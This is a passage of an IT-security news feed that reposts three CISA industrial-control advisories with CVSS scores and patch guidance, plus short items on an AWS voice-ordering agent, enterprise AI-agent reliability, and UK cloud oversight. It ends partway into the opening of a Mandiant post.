<p>Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.</p>
<p>Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.</p>
<p>No known public exploitation specifically targeting this vulnerability has been reported to CISA at this time.</p>
<hr>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-16</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-16</td>
<td>1</td>
<td>Initial Publication</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[NASA Core Flight System (cFS) Health & Safety (HS) Application]]></title>
<description><![CDATA[View CSAF
Summary
Successful exploitation of this vulnerability could allow an attacker to cause a denial-of-service condition.
The following versions of NASA Core Flight System (cFS) Health & Safety (HS) Application are affected:

Core Flight System (cFS) Health & Safety (HS) Application





CV...]]></description>
<link>https://tsecurity.de/de/3674154/it-security-nachrichten/nasa-core-flight-system-cfs-health-safety-hs-application/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674154/it-security-nachrichten/nasa-core-flight-system-cfs-health-safety-hs-application/</guid>
<pubDate>Thu, 16 Jul 2026 18:41:57 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-197-03.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Successful exploitation of this vulnerability could allow an attacker to cause a denial-of-service condition.</strong></p>
<p>The following versions of NASA Core Flight System (cFS) Health &amp; Safety (HS) Application are affected:</p>
<ul>
<li>Core Flight System (cFS) Health &amp; Safety (HS) Application</li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 7.5</td>
<td>NASA</td>
<td>NASA Core Flight System (cFS) Health &amp; Safety (HS) Application</td>
<td>NULL Pointer Dereference</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Transportation Systems</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>United States</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-15352</a></h3>
<div class="csaf-accordion-content">
<p>A vulnerability exists in the Health &amp; Safety (HS) application of NASA's Core Flight System (cFS). The flaw allows the application to crash via segmentation fault when processing a routine Housekeeping Telemetry request, leading to denial of service.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-15352">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>NASA Core Flight System (cFS) Health &amp; Safety (HS) Application</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>NASA</div>
<div class="ics-version"><strong>Product Version:</strong><br>NASA Core Flight System (cFS) Health &amp; Safety (HS) Application: &lt;v7.0.1</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>NASA recommends users update to v7.0.1 (https://github.com/nasa/HS/releases/tag/v7.0.1)<br><a href="https://github.com/nasa/HS/releases/tag/v7.0.1">https://github.com/nasa/HS/releases/tag/v7.0.1</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>8.2</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Grady DeRosa reported this vulnerability to CISA</li>
</ul>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the risk of exploitation of this vulnerability.</p>
<p>Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolating them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.</p>
<p>Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<p>CISA also recommends users take the following measures to protect themselves from social engineering attacks:</p>
<p>Do not click web links or open attachments in unsolicited email messages.</p>
<p>Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.</p>
<p>Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.</p>
<p>No known public exploitation specifically targeting this vulnerability has been reported to CISA at this time.</p>
<hr>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-16</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-16</td>
<td>1</td>
<td>Initial Publication</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[Rockwell Automation FactoryTalk DataMosaix]]></title>
<description><![CDATA[View CSAF
Summary
Successful exploitation of this vulnerability could allow an authenticated attacker to inject malicious scripts on the server.
The following versions of Rockwell Automation FactoryTalk DataMosaix are affected:

DataMosaix Private Cloud]]></description>
<link>https://tsecurity.de/de/3674153/it-security-nachrichten/rockwell-automation-factorytalk-datamosaix/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674153/it-security-nachrichten/rockwell-automation-factorytalk-datamosaix/</guid>
<pubDate>Thu, 16 Jul 2026 18:41:55 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-197-09.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Successful exploitation of this vulnerability could allow an authenticated attacker to inject malicious scripts on the server.</strong></p>
<p>The following versions of Rockwell Automation FactoryTalk DataMosaix are affected:</p>
<ul>
<li>DataMosaix Private Cloud &lt;=8.02 (CVE-2026-9292)</li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 6.1</td>
<td>Rockwell Automation</td>
<td>Rockwell Automation FactoryTalk DataMosaix</td>
<td>Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Critical Manufacturing, Information Technology</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>United States</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-9292</a></h3>
<div class="csaf-accordion-content">
<p>A Stored Cross-Site Scripting security issue exists within FactoryTalk DataMosaix Private Cloud. The vulnerability stems from improper neutralization of user-supplied input within the Workflows configuration. An authenticated attacker with high privileges can inject malicious scripts that are permanently stored on the server. This vulnerability can result in the execution of malicious JavaScript when other users access the affected page, potentially allowing for account takeover, credential theft, or redirection to a malicious website.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-9292">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Rockwell Automation FactoryTalk DataMosaix</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Rockwell Automation</div>
<div class="ics-version"><strong>Product Version:</strong><br>Rockwell Automation DataMosaix Private Cloud: &lt;=8.02</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Rockwell Automation recommends users to upgrade to the following: DataMosaix Private Cloud versions 8.03 or later.</p>
<p><strong>Mitigation</strong><br>Customers using the affected software, who are not able to upgrade to one of the corrected versions, should use Rockwell Automation's security best practices (https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight).<br><a href="https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight">https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight</a></p>
<p><strong>Mitigation</strong><br>For more information, see Rockwell Automation Security Advisory SD1787 (https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1787.html).<br><a href="https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1787.html">https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1787.html</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/79.html">CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.1</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N">CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N</a></td>
</tr>
<tr>
<td>4.0</td>
<td>8.4</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Rockwell Automation reported this vulnerability to CISA</li>
</ul>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the risk of exploitation of this vulnerability.</p>
<p>Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolating them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.</p>
<p>Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<p>CISA also recommends users take the following measures to protect themselves from social engineering attacks:</p>
<p>Do not click web links or open attachments in unsolicited email messages.</p>
<p>Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.</p>
<p>Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.</p>
<p>No known public exploitation specifically targeting this vulnerability has been reported to CISA at this time.</p>
<hr>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-16</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-16</td>
<td>1</td>
<td>Initial Republication of Rockwell Automation Security Advisory SD1787</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[SALTO ProAccess Space]]></title>
<description><![CDATA[View CSAF
Summary
Successful exploitation of this vulnerability allows an authenticated attacker to escalate privileges and access spaces outside their assigned partition, within the same Salto ProAccess Space installation or system. Exploitation requires valid authenticated operator credentials ...]]></description>
<link>https://tsecurity.de/de/3674152/it-security-nachrichten/salto-proaccess-space/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674152/it-security-nachrichten/salto-proaccess-space/</guid>
<pubDate>Thu, 16 Jul 2026 18:41:54 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-197-07.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Successful exploitation of this vulnerability allows an authenticated attacker to escalate privileges and access spaces outside their assigned partition, within the same Salto ProAccess Space installation or system. Exploitation requires valid authenticated operator credentials and the partition feature to be enabled; installations without partitioning are not affected.</strong></p>
<p>The following versions of SALTO ProAccess Space are affected:</p>
<ul>
<li>ProAccess Space &lt;6.13 (CVE-2026-11889)</li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 6.5</td>
<td>SALTO</td>
<td>SALTO ProAccess Space</td>
<td>Authorization Bypass Through User-Controlled Key</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Commercial Facilities, Critical Manufacturing</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>Spain</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-11889</a></h3>
<div class="csaf-accordion-content">
<p>SALTO ProAccess Space software using the tenancy feature / logical partition is vulnerable to a privilege escalation attack that could allow an authorized attacker to access any space managed by the affected product.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-11889">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>SALTO ProAccess Space</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>SALTO</div>
<div class="ics-version"><strong>Product Version:</strong><br>SALTO ProAccess Space: &lt;6.13</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Users of SALTO ProAccess using the tenancy feature should upgrade to version 6.13.</p>
<p><strong>Vendor fix</strong><br>To further enhance security after applying the update: 1. Operate ProAccess Space on a protected internal network and avoid exposing it directly to the Internet. 2. Restrict operator-level accounts to the minimum required and apply least-privilege principles. 3. If feasible, disable the partitioning feature and operate under a single partition. 4. When strong tenant separation is required, consider running separate Space instances (isolated environments) rather than relying solely on logical partitioning.</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/639.html">CWE-639 Authorization Bypass Through User-Controlled Key</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N</a></td>
</tr>
<tr>
<td>4.0</td>
<td>7.1</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Bernhard Lorenz of Limes Security reported this vulnerability to CISA</li>
</ul>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the risk of exploitation of this vulnerability.</p>
<p>Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolating them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.</p>
<p>Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<p>No known public exploitation specifically targeting this vulnerability has been reported to CISA at this time.</p>
<hr>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-16</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-16</td>
<td>1</td>
<td>Initial Publication</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[Building a restaurant telephony AI host with Amazon Bedrock AgentCore and Amazon Nova 2 Sonic]]></title>
<description><![CDATA[In this post, we show you how to build a voice ordering system that answers a phone number and takes the order from greeting to confirmation. The system uses Amazon Bedrock AgentCore to host and run the agent and Amazon Nova 2 Sonic for real-time speech, connected to a restaurant backend through ...]]></description>
<link>https://tsecurity.de/de/3674076/ai-nachrichten/building-a-restaurant-telephony-ai-host-with-amazon-bedrock-agentcore-and-amazon-nova-2-sonic/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674076/ai-nachrichten/building-a-restaurant-telephony-ai-host-with-amazon-bedrock-agentcore-and-amazon-nova-2-sonic/</guid>
<pubDate>Thu, 16 Jul 2026 18:20:18 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[In this post, we show you how to build a voice ordering system that answers a phone number and takes the order from greeting to confirmation. The system uses Amazon Bedrock AgentCore to host and run the agent and Amazon Nova 2 Sonic for real-time speech, connected to a restaurant backend through the Model Context Protocol (MCP). The walkthrough covers deploying the full stack with AWS Cloud Development Kit (AWS CDK) and bridging a phone call into the agent through a Session Initiation Protocol (SIP) gateway on Amazon Elastic Container Service (Amazon ECS) and AWS Fargate. It also warms the agent session while the phone is still ringing, so the caller never hears dead air.]]></content:encoded>
</item>
<item>
<title><![CDATA[Amazon AGI director says AI agent reliability, not capability, is blocking enterprise deployment at VB Transform 2026]]></title>
<description><![CDATA[The enterprise AI industry has a math problem. Cisco data shows 85% of enterprises are piloting AI agents, but only 5% have shipped them to production. At VB Transform 2026 on Tuesday, Bryan Silverthorn, Director of AGI Autonomy at Amazon, explained why that gap persists — and why the answer isn'...]]></description>
<link>https://tsecurity.de/de/3674071/it-nachrichten/amazon-agi-director-says-ai-agent-reliability-not-capability-is-blocking-enterprise-deployment-at-vb-transform-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674071/it-nachrichten/amazon-agi-director-says-ai-agent-reliability-not-capability-is-blocking-enterprise-deployment-at-vb-transform-2026/</guid>
<pubDate>Thu, 16 Jul 2026 18:19:10 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The enterprise AI industry has a math problem. Cisco data shows <a href="https://venturebeat.com/security/85-of-enterprises-are-running-ai-agents-only-5-trust-them-enough-to-ship">85% of enterprises</a> are piloting AI agents, but only 5% have shipped them to production. At <a href="https://venturebeat.com/vbtransform2026">VB Transform 2026</a> on Tuesday, <a href="https://silverthorn.blog/">Bryan Silverthorn</a>, Director of AGI Autonomy at Amazon, explained why that gap persists — and why the answer isn't better benchmarks.</p><p>Silverthorn, who joined Amazon through its acquisition of Adept AI and now leads multimodal agent training inside the company's AGI lab, argued that reliability must be broken into four distinct dimensions: consistency, robustness, predictability, and safety — a framework he credits to research from Princeton.</p><p>"It unpacks different factors that I see tangled together in almost every eval I've ever seen," he said.</p><h2><b>Why AI agents pass internal evals but fail real customers in production</b></h2><p>The framework matters because agents routinely ace internal evaluations and then collapse in the wild. Silverthorn described a customer that deployed an agent for software QA involving serial number extraction from screens. It worked flawlessly for two months — then began intermittently reading wrong numbers. The culprit: the underlying vision encoder behaved differently depending on where the serial number appeared on screen, and a software change imperceptible to humans triggered the failure.</p><p>The lesson, Silverthorn said, is about measurement, not just models. "The models have to be better. Obviously, we're working hard on making the models better," he said. But the deeper takeaway, he added, is that teams need to identify their dimensions of variability and match measurement rigor to the stakes of the application. VentureBeat's own proprietary research, presented before the session, reinforces the point: half of surveyed companies shipped agents that passed internal evals but failed real customers, and enterprises overwhelmingly track uptime while ignoring accuracy — checking the pulse without checking the diagnosis. A related finding underscored how few guardrails exist: most enterprises default to the model makers' own evaluations and little else, leaving their testing strategy, as I described it on stage, a coin flip between trusting the vendor and trusting nothing.</p><h2><b>Inside Amazon's 'intern' framework for managing autonomous AI agents</b></h2><p>Silverthorn's most memorable prescription was cultural, not technical. Inside Amazon's AGI lab, researchers literally call their agents "interns" — as in, "I'll have my intern talk to your intern." The joke carries a serious operational philosophy. Agents, like interns, are powerful but occasionally clueless, capable of amazing work and spectacular derailment.</p><p>Managing them, he argued, requires management skills rather than software skills: asking what could go wrong, adding backups and undo capabilities, and consciously deciding what risk you can accept. "You can ask the intern, 'Hey, what might you do wrong here? How might you mitigate your negative outcomes?'" he said. Amazon's lab has embraced that trade-off, accepting agents occasionally running the wrong experiment in exchange for research velocity — including one agent running experiments around the clock on its own high-level research plan.</p><h2><b>What enterprise leaders should do before deploying agents at scale</b></h2><p>Silverthorn was candid about the limits of today's technology. Self-improving AI remains "a loaded term," he said — Amazon uses AI to improve its models constantly, but fully autonomous self-improvement is distant. Computer use remains a core focus of his lab, with a commercial trucking customer already using browser automation to stitch together warranty claims across fragmented systems**, though he stressed that no future agent will rely on computer use alone — it will work alongside MCP, APIs, and other tools to complete end-to-end workflows**. And LLM-as-judge techniques, while promising, are just one of several strategies for aligning agent capability with acceptable risk.</p><p>For enterprises stuck in pilot purgatory, the path forward starts with a mindset shift: stop asking whether your agent can do something impressive once, and start asking whether it can do it correctly a thousand times in a row.</p><p>In other words, the enterprises that escape the 85% ceiling won't be the ones with the smartest agents. They'll be the ones with the best managers.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[UK Puts AWS, Azure, Google Cloud, and Oracle Under Direct Financial Oversight]]></title>
<description><![CDATA[The UK has begun direct oversight of systemic cloud services used by financial firms, while banks remain responsible for their own operational resilience, contracts, and recovery planning.
The post UK Puts AWS, Azure, Google Cloud, and Oracle Under Direct Financial Oversight appeared first on Tec...]]></description>
<link>https://tsecurity.de/de/3673935/it-nachrichten/uk-puts-aws-azure-google-cloud-and-oracle-under-direct-financial-oversight/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673935/it-nachrichten/uk-puts-aws-azure-google-cloud-and-oracle-under-direct-financial-oversight/</guid>
<pubDate>Thu, 16 Jul 2026 17:18:19 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The UK has begun direct oversight of systemic cloud services used by financial firms, while banks remain responsible for their own operational resilience, contracts, and recovery planning.</p>
<p>The post <a href="https://www.techrepublic.com/article/news-cloud-oversight-banks-emea-uk/">UK Puts AWS, Azure, Google Cloud, and Oracle Under Direct Financial Oversight</a> appeared first on <a href="https://www.techrepublic.com/">TechRepublic</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Demystifying AI Exploits: A Blueprint for AI-Assisted Vulnerability Management]]></title>
<description><![CDATA[Written by: Jules Czarniak

Introduction 
As highlighted in the Mandiant M-Trends 2026 report, the mean time-to-exploit (TTE) has dropped to -7 days, meaning vulnerabilities are often exploited a week before a patch even exists. 
To keep pace, many security teams are exploring how to integrate la...]]></description>
<link>https://tsecurity.de/de/3673775/it-security-nachrichten/demystifying-ai-exploits-a-blueprint-for-ai-assisted-vulnerability-management/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673775/it-security-nachrichten/demystifying-ai-exploits-a-blueprint-for-ai-assisted-vulnerability-management/</guid>
<pubDate>Thu, 16 Jul 2026 16:23:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="block-paragraph_advanced"><p>Written by: Jules Czarniak</p>
<hr></div>
<div class="block-paragraph_advanced"><h3><span>Introduction </span></h3>
